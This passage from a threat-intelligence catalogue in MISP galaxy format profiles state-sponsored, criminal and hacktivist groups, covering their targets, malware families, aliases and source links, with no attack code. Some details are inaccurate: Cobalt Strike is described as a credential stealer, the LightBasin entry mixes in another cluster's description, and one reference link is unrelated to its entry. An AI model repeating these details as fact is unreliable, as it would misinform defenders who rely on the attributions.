telecommunications companies. MalKamak utilizes a sophisticated remote access Trojan called ShellClient, which evades antivirus tools and uses cloud services like Dropbox for command and control.

The tag is: *misp-galaxy:threat-actor="MalKamak"*

Table 18628. Table References

Links
https://www.cybereason.com/blog/research/operation-ghostshell-novel-rat-targets-global-aerospace-and-telecoms-firms

DragonForce

DragonForce is a hacktivist group based in Malaysia that has been involved in cyberattacks targeting government institutions and commercial organizations in India. They have also targeted websites affiliated with Israel and have shown support for pro-Palestinian causes. The group has been observed using defacement attacks, distributed denial-of-service attacks, and data leaks as part of their campaigns. DragonForce Malaysia has demonstrated an ability to adapt and evolve their tactics over time.

The tag is: *misp-galaxy:threat-actor="DragonForce"*

Table 18629. Table References

Links
https://www.darkowl.com/blog-content/hacktivist-groups-use-defacements-in-the-israel-hamas-conflict/
https://blog.radware.com/security/2023/05/india-one-of-the-most-targeted-countries-for-hacktivist-groups/
https://securitybrief.asia/story/dragonforce-malaysia-attacks-israeli-institutions-radware
https://www.radware.com/security/threat-advisories-and-attack-reports/opisrael-a-decade-in-review/
https://blog.radware.com/security/ddos/2022/08/this-was-h1-2022-part-3-beyond-the-war/
https://www.fortinet.com/blog/threat-research/guidance-on-hacktivist-operation-opspatuk-by-dragonforce

LightBasin

UNC1945 is an APT group that has been targeting telecommunications companies globally. They use Linux-based implants to maintain long-term access in compromised networks. UNC1945 has demonstrated advanced technical abilities, utilizing various tools and techniques to evade detection and move laterally through networks. They have also been observed targeting other industries, such as financial and professional consulting, and have been linked to other threat actors, including MustangPanada and RedDelta.

The tag is: *misp-galaxy:threat-actor="LightBasin"*

LightBasin is also known as:

- UNC1945
- CL-CRI-0025

Table 18630. Table References

Links
https://www.mandiant.com/resources/unc2891-overview
https://www.crowdstrike.com/blog/an-analysis-of-lightbasin-telecommunications-attacks/
https://blog.talosintelligence.com/introducing-shrouded-snooper/

Red-Lili

RED-LILI is an active threat actor that has been identified by Checkmarx SCS research team. They have been publishing malicious packages on NPM and PyPi platforms, and have recently automated the process of creating NPM users for package publication. The Checkmarx team has detected around 1500 malicious packages associated with RED-LILI and has continuously disclosed their findings to the respective security teams.

The tag is: *misp-galaxy:threat-actor="Red-Lili"*

Table 18631. Table References

Links
https://checkmarx.com/blog/a-beautiful-factory-for-malicious-packages/

WildCard

Wildcard is a threat actor that initially targeted Israel's educational sector with the SysJoker malware. They have since expanded their operations and developed additional malware variants, disguised as legitimate software, including one written in the Rust programming language called RustDown. Their precise identity remains unknown, but they have shown advanced capabilities and a focus on critical sectors within Israel.

The tag is: *misp-galaxy:threat-actor="WildCard"*

Table 18632. Table References

Links
https://intezer.com/blog/research/wildcard-evolution-of-sysjoker-cyber-threat/

WildPressure

WildPressure is a threat actor that targets industrial-related entities in the Middle East. They use a

variety of programming languages, including C++, VBScript, and Python, to develop their malware. They have been observed using virtual private servers and compromised servers, particularly WordPress websites, in their infrastructure. While there are some minor similarities with other threat actors in the region, there is not enough evidence to make any attribution.

The tag is: *misp-galaxy:threat-actor="WildPressure"*

Table 18633. Table References

Links
https://www.redpacketsecurity.com/it-threat-evolution-q3-2021/
https://securelist.com/wildpressure-targets-macos/103072/
https://www.redpacketsecurity.com/wildpressure-targets-industrial-related-entities-in-the-middle-east/
https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/

TunnelSnake

The TunnelSnake campaign demonstrates the activity of a sophisticated actor that invests significant resources in designing an evasive toolset and infiltrating networks of high-profile organizations. By leveraging Windows drivers, covert communications channels and proprietary malware, the group behind it maintains a considerable level of stealth. That said, some of its TTPs, like the usage of a commodity webshell and open-source legacy code for loading unsigned drivers, may get detected and in fact were flagged by Kaspersky's product, giving them visibility into the group's operation.

The tag is: *misp-galaxy:threat-actor="TunnelSnake"*

Table 18634. Table References

Links
https://www.redpacketsecurity.com/operation-tunnelsnake/
https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/

ScamClub

ScamClub is a threat actor involved in malvertising activities since 2018. They target the Mobile Web market segment, particularly on iOS devices, where security software is often lacking. ScamClub utilizes obfuscation techniques and real-time bidding integration with ad exchanges to push malicious JavaScript payloads, leading to forced redirects and various scams such as phishing and gift card scams.

The tag is: *misp-galaxy:threat-actor="ScamClub"*

Table 18635. Table References

Links

https://blog.confiant.com/exploring-scamclub-payloads-via-deobfuscation-using-abstract-syntax-trees-65ef7f412537
https://www.malwarebytes.com/blog/threat-intelligence/2023/11/associated-press-espn-cbs-among-top-sites-serving-fake-virus-alerts

Daixin Team

Daixin is a threat actor group that has been active since at least June 2022. They primarily target the healthcare and public health sector with ransomware attacks, stealing sensitive data and threatening to release it if a ransom is not paid. They have successfully targeted various industries, including healthcare, aerospace, automotive, and packaged foods. Daixin gains initial access through VPN servers and exploits vulnerabilities or uses phishing attacks to obtain credentials. They have been responsible for cyberattacks on organizations such as the North Texas Municipal Water District and TransForm Shared Service Org, impacting their networks and stealing customer and patient information.

The tag is: *misp-galaxy:threat-actor="Daixin Team"*

Table 18636. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-294a
https://www.mycert.org.my/portal/details?menu=431fab9c-d24c-4a27-ba93-e92edafdefa5&id=467c2374-9c18-4fb0-b5a7-155dfca4d611
https://www.databreaches.net/b-files-leaked/
https://titaniam.io/ransomware-prevention-daixin-team-ransomware-group/
https://www.databreaches.net/update-daixin-leaks-more-data-from-bluewater-health-and-other-hospitals-databases-yet-to-be-leaked/

UNC2717

UNC2717 is a threat actor that engages in espionage activities aligned with Chinese government priorities. They demonstrate advanced tradecraft and take measures to avoid detection, making it challenging for network defenders to identify their tools and intrusion methods. UNC2717, along with other Chinese APT actors, has been observed stealing credentials, email communications, and intellectual property. They have targeted global government agencies using malware such as HARDPULSE, QUIETPULSE, and PULSEJUMP.

The tag is: *misp-galaxy:threat-actor="UNC2717"*

Table 18637. Table References

Links
https://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html

http://internal-www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html

UNC2659

UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools' legitimate public websites.

The tag is: *misp-galaxy:threat-actor="UNC2659"*

Table 18638. Table References

Links
http://internal-www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html

AeroBlade

AeroBlade is a previously unknown threat actor that has been targeting an aerospace organization in the United States. Their objective appears to be conducting commercial and competitive cyber espionage. They employ spear-phishing as a delivery mechanism, using weaponized documents with embedded remote template injection techniques and malicious VBA macro code. The attacks have been ongoing since September 2022, with multiple phases identified in the attack chain. The origin and precise objective of AeroBlade remain unknown.

The tag is: *misp-galaxy:threat-actor="AeroBlade"*

Table 18639. Table References

Links
https://blogs.blackberry.com/en/2023/11/aeroblade-on-the-hunt-targeting-us-aerospace-industry

WIP19

WIP19 is a Chinese-speaking threat group involved in espionage targeting the Middle East and Asia. They utilize a stolen certificate to sign their malware, including SQLMaggie, ScreenCap, and a credential dumper. The group has been observed targeting telecommunications and IT service providers, using toolsets authored by WinEggDrop. WIP19's activities suggest they are after specific information and are part of the broader Chinese espionage landscape.

The tag is: *misp-galaxy:threat-actor="WIP19"*

Table 18640. Table References

Links

https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/

UNC2447

UNC2447 is a financially motivated threat actor with ties to multiple hacker groups. They have been observed deploying ransomware, including FiveHands and Hello Kitty, and engaging in double extortion tactics. They have been active since at least May 2020 and target organizations in Europe and North America.

The tag is: *misp-galaxy:threat-actor="UNC2447"*

Table 18641. Table References

Links
https://www.esentire.com/blog/hacker-infrastructure-used-in-cisco-breach-discovered-attacking-a-top-workforce-management-corporation-russias-evil-corp-gang-suspected-reports-esentire
https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html
http://internal-www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-financially-motivated-aggressive-group-carrying-out-ransomware-campaigns-active-iocs

UNC215

UNC215 is a Chinese nation-state threat actor that has been active since at least 2014. They have targeted organizations in various sectors, including government, technology, telecommunications, defense, finance, entertainment, and healthcare. UNC215 has been observed using tools such as Mimikatz, FOCUSFJORD, and HYPERBRO for initial access and post-compromise activities. They have demonstrated a focus on evading detection and have employed tactics such as using trusted third parties, minimizing forensic evidence, and incorporating false flags. UNC215's targets are located globally, with a particular focus on the Middle East, Europe, Asia, and North America.

The tag is: *misp-galaxy:threat-actor="UNC215"*

Table 18642. Table References

Links
https://www.esentire.com/security-advisories/ransomware-hackers-attack-a-top-safety-testing-org-using-tactics-and-techniques-borrowed-from-chinese-espionage-groups
https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html

DEV-0569

DEV-0569, also known as Storm-0569, is a threat actor group that has been observed deploying the

Royal ransomware. They utilize malicious ads and phishing techniques to distribute malware and gain initial access to networks. The group has been linked to the distribution of payloads such as Batloader and has forged relationships with other threat actors. DEV-0569 has targeted various sectors, including healthcare, communications, manufacturing, and education in the United States and Brazil.

The tag is: *misp-galaxy:threat-actor="DEV-0569"*

DEV-0569 is also known as:

- Storm-0569

Table 18643. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/

UAC-0118

From Russia with Love, is a threat actor group that emerged during the Russia-Ukraine war in 2022. They primarily engage in DDoS attacks and have targeted critical infrastructure, media, energy, and government entities. FRwL has been linked to the use of the Somnia ransomware, which they employ as a wiper rather than for financial gain. While there is no direct evidence linking FRwL to the Russian Main Intelligence Directorate, it is possible that they coordinate activities with state-aligned hacktivist groups.

The tag is: *misp-galaxy:threat-actor="UAC-0118"*

UAC-0118 is also known as:

- FRwL
- FromRussiaWithLove

Table 18644. Table References

Links
https://socprime.com/blog/somnia-malware-detection-uac-0118-aka-frwl-launches-cyber-attacks-against-organizations-in-ukraine-using-enhanced-malware-strains/
https://spixnet.at/cybersecurity-blog/2022/11/15/russian-hacktivists-hit-ukrainian-orgs-with-ransomware-but-no-ransom-demands/
https://outpost24.com/blog/ics-attack-classifications/

UAC-0050

UAC-0050 is a threat actor that has been active since 2020, targeting government agencies in Ukraine. They have been distributing the Remcos RAT malware through phishing campaigns, using tactics such as impersonating the Security Service of Ukraine and sending emails with malicious

attachments. The group has also been linked to other hacking collectives, such as UAC-0096, and has previously used remote administration tools like Remote Utilities. The motive behind their attacks is likely espionage.

The tag is: *misp-galaxy:threat-actor="UAC-0050"*

Table 18645. Table References

Links
https://cert.gov.ua/article/3931296
https://socprime.com/blog/remcos-rat-detection-uac-0050-hackers-launch-phishing-attacks-impersonating-the-security-service-of-ukraine/
https://socprime.com/blog/new-phishing-attack-detection-attributed-to-the-uac-0050-and-uac-0096-groups-spreading-remcos-spyware/
https://cert.gov.ua/article/3804703
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html

UNC2630

UNC2630 is a threat actor believed to be affiliated with the Chinese government. They engage in cyber espionage activities, targeting organizations aligned with Beijing's strategic objectives. UNC2630 demonstrates advanced tradecraft and employs various malware families, including SLOWPULSE and RADIALPULSE, to compromise Pulse Secure VPN appliances. They also utilize modified binaries and scripts to maintain persistence and move laterally within compromised networks.

The tag is: *misp-galaxy:threat-actor="UNC2630"*

Table 18646. Table References

Links
https://www.fireeye.com/blog/threat-research/2021/05/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices.html
http://internal-www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html

Sandman APT

First disclosed in 2023, the Sandman APT is likely associated with suspected China-based threat clusters known for using the KEYPLUG backdoor, specifically STORM-0866/Red Dev 40. Sandman is tracked as a distinct cluster, pending additional conclusive information. A notable characteristic is its use of the LuaDream backdoor. LuaDream is based on the Lua platform, a relatively rare occurrence in the cyberespionage domain, historically associated with APTs considered Western or Western-aligned.

The tag is: *misp-galaxy:threat-actor="Sandman APT"*

BiBiGun

A pro-Hamas hacktivist group developed a wiper called BiBi-Linux to target and destroy data on Israeli systems. The malware impersonates ransomware but operates solely to corrupt and delete files, indicating no data theft. A Windows variant, BiBi-Windows, was also discovered, sharing similarities with BiBi-Linux but targeting all files except executables. ESET researchers have named the group behind the wipers BiBiGun. The group's TTPs have shown overlaps with Moses Staff, which is believed to have an Iran nexus.

The tag is: *misp-galaxy:threat-actor="BiBiGun"*

Table 18647. Table References

Links
https://twitter.com/ESETresearch/status/1719437301900595444
https://github.com/knight0x07/BiBi-Windows-Wiper-Analysis?tab=readme-ov-file
https://thehackernews.com/2023/11/new-bibi-windows-wiper-targets-windows.html
https://www.securityjoes.com/post/bibi-linux-a-new-wiper-dropped-by-pro-hamas-hacktivist-group

Storm-1283

Storm-1283 is a threat actor that targeted Microsoft Azure cloud platform. They gained access to user accounts and created OAuth applications using stolen credentials, allowing them to control resources and deploy virtual machines for cryptomining. The targeted organizations incurred significant financial losses ranging from $10,000 to $1.5 million. Storm-1283 utilized compromised accounts and subscriptions to carry out their illicit activities.

The tag is: *misp-galaxy:threat-actor="Storm-1283"*

Table 18648. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/12/12/threat-actors-misuse-oauth-applications-to-automate-financially-driven-attacks/

Solntsepek

Solntsepek is a threat actor group with ties to the Russian military unit GRU. They have claimed responsibility for a cyberattack on Kyivstar, a Ukrainian mobile operator, and have been linked to previous attacks on Ukrainian infrastructure. Solntsepek has been associated with the Sandworm hacking group, known for their destructive cyberattacks, including the NotPetya worm. They have also engaged in hostile activities, such as revealing personal details of Ukrainian soldiers.

The tag is: *misp-galaxy:threat-actor="Solntsepek"*

Table 18649. Table References

Links
https://kyivindependent.com/sbu-russian-hacker-group-reponsible-for-kyiv-star-cyberattack/
https://dev.ua/ru/news/atakovali-suspilne-provaiderov-i-minrazvitiya-obschin-kto-stoit-za-rossiiskoi-gruppirovkoi-solntsepek-kotoraya-aktivizirovala-napadeniya-na-ukrainskie-struktury

UNC4736

UNC4736 is a North Korean threat actor that has been involved in supply chain attacks targeting software chains of 3CX and X_TRADER. They have used malware strains such as TAXHAUL, Coldcat, and VEILEDSIGNAL to compromise Windows and macOS systems. UNC4736 has been linked to financially motivated cybercrime operations, particularly focused on cryptocurrency and fintech-related services. They have also demonstrated infrastructure overlap with other North Korean and APT43 activity.

The tag is: *misp-galaxy:threat-actor="UNC4736"*

Table 18650. Table References

Links
https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise

GambleForce

GambleForce is a threat actor specializing in SQL injection attacks. They have targeted over 20 websites in various sectors across multiple countries, compromising six companies. GambleForce utilizes publicly available pentesting tools and has been active since mid-September 2023.

The tag is: *misp-galaxy:threat-actor="GambleForce"*

Table 18651. Table References

Links
https://www.group-ib.com/blog/gambleforce-gang/

GREF

GREF is a China-aligned APT group that has been active since at least March 2017. They are known for using custom backdoors, loaders, and ancillary tools in their targeted attacks. Recently, they have been attributed to two active Android campaigns that distribute the BadBazaar malware through malicious apps on official and alternative app stores. GREF has targeted Android users, particularly Uyghurs and other Turkic ethnic minorities outside of China, using trojanized versions of popular messaging apps like Signal and Telegram.

The tag is: *misp-galaxy:threat-actor="GREF"*

Table 18652. Table References

Links
https://www.welivesecurity.com/en/eset-research/badbazaar-espionage-tool-targets-android-users-trojanized-signal-telegram-apps/

PhantomControl

PhantomControl is a sophisticated threat actor that emerged in November 2023. They utilize phishing emails as their initial infection vector and employ a ScreenConnect client to establish a connection for their malicious activities. Their arsenal includes a VBS script that hides its true intentions and reveals a complex mechanism involving PowerShell scripts and image-based data retrieval. PhantomControl has been associated with the Blind Eagle threat actors, showcasing their versatility and reach.

The tag is: *misp-galaxy:threat-actor="PhantomControl"*

Table 18653. Table References

Links
https://www.esentire.com/blog/phantomcontrol-returns-with-ande-loader-and-swaetrat
https://www.esentire.com/blog/operation-phantomcontrol
https://securityonline.info/esentire-vs-phantom-unveiling-the-cyber-spooks-dance-of-darkness/

Team-Xecuter

Team-Xecuter is a hacking group led by Gary Bowser, also known as GaryOPA. They were involved in a piracy conspiracy against Nintendo, creating and selling illegal circumvention devices that allowed users to hack video game consoles for playing pirated games. Gary Bowser has admitted his participation in this activity and is facing legal consequences.

The tag is: *misp-galaxy:threat-actor="Team-Xecuter"*

Table 18654. Table References

Links
https://www.newslocker.com/en-uk/profession/security/ohio-schools-get-new-cybersecurity-resource/

KelvinSecurity

KelvinSecurity is a hacker group that has been active since at least 2015. They are known for their hacktivist and black hat activities, targeting public and private organizations globally. The group sells and leaks databases, documents, and access belonging to their victims, often on the dark web or their own platforms. They have been involved in attacks against various sectors, including telecommunications, political parties, and healthcare.

The tag is: *misp-galaxy:threat-actor="KelvinSecurity"*

Table 18655. Table References

Links
https://securelist.com/kaspersky-security-bulletin-apt-predictions-2024/111048/
https://www.privacyaffairs.com/kelvinsecurity-hacking-group-morena/
https://www.databreaches.net/bits-n-pieces-trozos-y-piezas-31/
https://www.ibtimes.com/anonymous-challenges-russias-supposed-cyber-prowess-repeat-rosatom-breach-leaks-data-3505131

Storm-1113

Storm-1113 is a threat actor that acts both as an access broker focused on malware distribution through search advertisements and as an “as-a-service” entity providing malicious installers and landing page frameworks. In Storm-1113 malware distribution campaigns, users are directed to landing pages mimicking well-known software that host installers, often MSI files, that lead to the installation of malicious payloads. Storm-1113 is also the developer of EugenLoader, a commodity malware first observed around November 2022.

The tag is: *misp-galaxy:threat-actor="Storm-1113"*

Storm-1113 is also known as:

- APOTHECARY SPIDER

Table 18656. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/12/28/financially-motivated-threat-actors-misusing-app-installer/

HomeLand Justice

HomeLand Justice is an Iranian state-sponsored cyber threat group that has been active since at least May 2021. They have targeted various organizations, including a well-known telecommunication company and the Albanian Parliament. The group engaged in information operations and messaging campaigns to amplify the impact of their attacks.

The tag is: *misp-galaxy:threat-actor="HomeLand Justice"*

Table 18657. Table References

Links
https://www.picussecurity.com/resource/blog/cisa-alert-aa22-264a-iranian-homeland-justice-apt-groups-ttp
https://www.attackiq.com/2022/09/23/attack-graph-response-to-us-cert-alert-aa22-264a-iranian-state-actors-conduct-cyber-operations-against-the-government-of-albania/

https://www.mandiant.com/resources/blog/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against

UAC-0099

UAC-0099 is a threat actor that has been active since at least May 2023, targeting Ukrainian entities. They have been observed using a known WinRAR vulnerability to carry out attacks, indicating a level of sophistication. The actor relies on PowerShell and the creation of scheduled tasks to execute malicious VBS files for initial infection. Monitoring and limiting the functionality of these components can help mitigate the risk of UAC-0099 attacks.

The tag is: *misp-galaxy:threat-actor="UAC-0099"*

Table 18658. Table References

Links
https://cert.gov.ua/article/4818341
https://www.deepinstinct.com/blog/threat-actor-uac-0099-continues-to-target-ukraine

Gray Sandstorm

Gray Sandstorm is an Iran-linked threat actor that has been active since at least 2012. They have targeted defense technology companies, maritime transportation companies, and Persian Gulf ports of entry. Their primary method of attack is password spraying, and they have been observed using tools like o365spray. They have a specific focus on US and Israeli targets and are likely operating in support of Iranian interests.

The tag is: *misp-galaxy:threat-actor="Gray Sandstorm"*

Gray Sandstorm is also known as:

- DEV-0343

Table 18659. Table References

Links
https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/
https://www.microsoft.com/en-us/security/blog/2021/10/11/iran-linked-dev-0343-targeting-defense-gis-and-maritime-sectors/

Threatsec

ThreatSec is a hacktivist group that has targeted various organizations, including internet service providers in Gaza. They claim to fight for the rights and freedom of the oppressed and do not prioritize monetary gain. The group is part of the "Five Families" consortium, which includes other hacktivist groups such as GhostSec and Stormous. ThreatSec has been involved in cyberattacks,

data breaches, and ransomware activities.

The tag is: *misp-galaxy:threat-actor="Threatsec"*

Table 18660. Table References

Links
https://www.resecurity.com/blog/article/ransomedvc-in-the-spotlight-what-we-know-about-the-ransomware-group-targeting-major-japanese-businesses
https://socradar.io/the-five-families-hacker-collaboration-redefining-the-game/

Cyber Toufan

Cyber Toufan is a threat actor group that has gained prominence for its cyberattacks targeting Israeli organizations. The group's tactics suggest potential nation-state backing, possibly from Iran. They have been involved in hack-and-leak operations, data breaches, and data destruction, impacting over 100 organizations. Cyber Toufan's activities align with geopolitical tensions in the Middle East and their attacks are characterized by a combination of technical breaches and psychological warfare.

The tag is: *misp-galaxy:threat-actor="Cyber Toufan"*

Table 18661. Table References

Links
https://www.darkreading.com/cyberattacks-data-breaches/-cyber-toufan-hacktivists-leaked-100-plus-israeli-orgs-in-one-month
https://socradar.io/dark-web-profile-cyber-toufan-al-aqsa/
https://research.checkpoint.com/2023/11th-december-threat-intelligence-report/
https://blog.polyswarm.io/2023-recap-cyber-activity-in-the-gaza-conflict
https://www.securityweek.com/palestinian-hackers-hit-100-israeli-organizations-in-destructive-attacks/

Water Curupira

With its emergence in 2022, Water Curupira has established itself as a persistent threat actor targeting organizations primarily in South America and Europe. Their modus operandi involves a combination of social engineering tactics and a diversified malware arsenal, including ransomware variants like Black Basta and credential stealers like Cobalt Strike. This multifaceted approach enables them to gain unauthorized access to victim systems, steal sensitive data, and ultimately extort victims through ransomware demands. It has been actively using Pikabot, a loader malware with similarities to Qakbot, in spam campaigns throughout 2023.

The tag is: *misp-galaxy:threat-actor="Water Curupira"*

Table 18662. Table References

Links
https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html

UTA0178

While Volexity largely observed the attacker essentially living off the land, they still deployed a handful of malware files and tools during the course of the incident which primarily consisted of webshells, proxy utilities, and file modifications to allow credential harvesting. Once UTA0178 had access into the network via the ICS VPN appliance, their general approach was to pivot from system to system using compromised credentials. They would then further compromise credentials of users on any new system that was breached, and use these credentials to log into additional systems via RDP. Volexity observed the attacker obtaining credentials in a variety of ways.

The tag is: *misp-galaxy:threat-actor="UTA0178"*

UTA0178 is also known as:

- UNC5221
- Red Dev 61

View relationships graph

UTA0178 has relationships with:

- similar: misp-galaxy:threat-actor="UNC5337" with estimative-language:likelihood-probability="likely"
- deploys: misp-galaxy:tool="ROOTROT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:backdoor="BRICKSTORM" with estimative-language:likelihood-probability="likely"

Table 18663. Table References

Links
https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/
https://www.rewterz.com/rewterz-news/rewterz-threat-advisory-ivanti-vpn-zero-days-weaponized-by-unc5221-threat-actors-to-deploy-multiple-malware-families-active-iocs/
https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day
https://quointelligence.eu/2024/01/unc5221-unreported-and-undetected-wirefire-web-shell-variant/
https://www.volexity.com/blog/2024/01/18/ivanti-connect-secure-vpn-exploitation-new-observations/
https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html

https://cloud.google.com/blog/topics/threat-intelligence/ivanti-post-exploitation-lateral-movement

TAG-28

TAG-28 is a Chinese state-sponsored threat actor that has been targeting Indian organizations, including media conglomerates and government agencies. They have been using the Winnti malware, which is commonly shared among Chinese state-sponsored groups. TAG-28's main objective is to gather intelligence on Indian targets, potentially for espionage purposes.

The tag is: *misp-galaxy:threat-actor="TAG-28"*

Table 18664. Table References

Links
https://www.recordedfuture.com/blog/china-linked-tag-28-targets-indias-the-times-group

Flax Typhoon

Flax Typhoon is a Chinese state-sponsored threat actor that primarily targets organizations in Taiwan. They conduct espionage campaigns and focus on gaining and maintaining long-term access to networks using minimal malware. Flax Typhoon relies on tools built into the operating system and legitimate software to remain undetected. They exploit vulnerabilities in public-facing servers, use living-off-the-land techniques, and deploy a VPN connection to maintain persistence and move laterally within compromised networks.

The tag is: *misp-galaxy:threat-actor="Flax Typhoon"*

Flax Typhoon is also known as:

- Ethereal Panda
- Storm-0919

Table 18665. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/
https://www.crowdstrike.com/global-threat-report/

Cyber Partisans

The Cyber Partisans, a hacktivist group based in Belarus, has been involved in various cyber-attacks targeting organizations and infrastructure in Belarus and Ukraine. They have hacked and wiped the network of the Belarusian Telegraph Agency, targeted the Belarusian Red Cross, and conducted ransomware attacks on the Belarusian Railway and Belarusian State University. The group aims to expose alleged crimes committed by pro-government organizations and disrupt operations supporting the Russian military operation against Ukraine. They have also leaked stolen

data to journalists and expressed support for Ukraine.

The tag is: *misp-galaxy:threat-actor="Cyber Partisans"*

Table 18666. Table References

Links
https://blog.sekoia.io/the-transportation-sector-cyber-threat-overview/
https://riskybiznews.substack.com/p/risky-biz-news-cyber-partisans-hack
https://therecord.media/cyber-partisans-belarusian-state-university-attack
https://therecord.media/pro-ukraine-hackers-leak-russian-data-in-hopes-someone-will-make-sense-of-it/
https://therecord.media/this-app-will-self-destruct-how-belarusian-hackers-created-an-alternative-telegram-for-activists/

Caliente Bandits

Caliente Bandits is a highly active threat group that targets multiple industries, including finance and entertainment. They distribute the Bandook remote access trojan using Spanish-language lures through low-volume email campaigns. The group primarily impacts individuals with Spanish surnames and conducts reconnaissance to obtain employee data. They masquerade as companies in South America and use Hotmail or Gmail email addresses.

The tag is: *misp-galaxy:threat-actor="Caliente Bandits"*

Caliente Bandits is also known as:

- TA2721

Table 18667. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-uses-spanish-language-lures-distribute-seldom-observed-bandook

Cotton Sandstorm

Cotton Sandstorm is an Iranian threat actor involved in hack-and-leak operations. They have targeted various organizations, including the French satirical magazine Charlie Hebdo, where they obtained and leaked personal information of over 200,000 customers. The group has been linked to the Iranian government and has been sanctioned by the US Treasury

The tag is: *misp-galaxy:threat-actor="Cotton Sandstorm"*

Cotton Sandstorm is also known as:

- Emennet Pasargad

- Holy Souls
- MARNANBRIDGE
- NEPTUNIUM
- HAYWIRE KITTEN

Table 18668. Table References

Links
https://blog.sekoia.io/iran-cyber-threat-overview/
https://blogs.microsoft.com/on-the-issues/2023/02/03/dtac-charlie-hebdo-hack-iran-neptunium/
https://www.ic3.gov/Media/News/2022/220126.pdf
https://www.microsoft.com/en-us/security/business/security-insider/threat-briefs/iran-response-for-charlie-hebdo-attacks/
https://services.google.com/fh/files/misc/tool-of-first-resort-israel-hamas-war-cyber.pdf

Blackwood

Blackwood is a China-aligned APT group that has been active since at least 2018. They primarily engage in cyberespionage operations targeting individuals and companies in China, Japan, and the United Kingdom. Blackwood utilizes sophisticated techniques such as adversary-in-the-middle attacks to deliver their custom implant, NSPX30, through updates of legitimate software. They also have the capability to hide the location of their command and control servers by intercepting traffic generated by the implant.

The tag is: *misp-galaxy:threat-actor="Blackwood"*

Table 18669. Table References

Links
https://www.welivesecurity.com/en/eset-research/nspx30-sophisticated-aitm-enabled-implant-evolving-since-2005/
https://blog.sonicwall.com/en-us/2024/01/blackwood-apt-group-has-a-new-dll-loader/

Denim Tsunami

Denim Tsunami is a threat actor group that has been involved in targeted attacks against European and Central American customers. They have been observed using multiple Windows and Adobe 0-day exploits, including one for CVE-2022-22047, which is a privilege escalation vulnerability. Denim Tsunami developed a custom malware called Subzero, which has capabilities such as keylogging, capturing screenshots, data exfiltration, and running remote shells. They have also been associated with the Austrian spyware distributor DSIRF.

The tag is: *misp-galaxy:threat-actor="Denim Tsunami"*

Denim Tsunami is also known as:

- KNOTWEED
- DSIRF

Table 18670. Table References

Links
https://www.thezdi.com/blog/2023/1/23/activation-context-cache-poisoning-exploiting-csrss-for-privilege-escalation
https://socradar.io/threats-of-commercialized-malware-knotweed/
https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/

Blue Tsunami

Blue Tsunami, also known as Black Cube, is a cyber mercenary group associated with the private intelligence firm Black Cube. They target individuals in various industries, including human rights, finance, and consulting. Blue Tsunami engages in social engineering and uses techniques such as honeypot profiles, fake jobs, and fake companies to gather human intelligence for their clients. LinkedIn and Microsoft recently took down numerous fake accounts and company pages linked to Blue Tsunami.

The tag is: *misp-galaxy:threat-actor="Blue Tsunami"*

Blue Tsunami is also known as:

- Black Cube

Table 18671. Table References

Links
https://precisionpconline.com/a-unified-front-against-cyber-mercenaries/
https://www.microsoft.com/en-us/security/blog/2023/11/09/microsoft-shares-threat-intelligence-at-cyberwarcon-2023/

Cuboid Sandstorm

Cuboid Sandstorm is an Iranian threat actor that targeted an Israel-based IT company in July 2021. They gained access to the company's network and used it to compromise downstream customers in the defense, energy, and legal sectors in Israel. The group also utilized custom implants, including a remote access Trojan disguised as RuntimeBroker.exe or svchost.exe, to establish persistence on victim hosts.

The tag is: *misp-galaxy:threat-actor="Cuboid Sandstorm"*

Cuboid Sandstorm is also known as:

- DEV-0228

Table 18672. Table References

Links
https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/

Pearl Sleet

Pearl Sleet is a nation state activity group based in North Korea that has been active since at least 2012. They primarily target defectors from North Korea, media organizations in carrying out their cyber espionage activities.

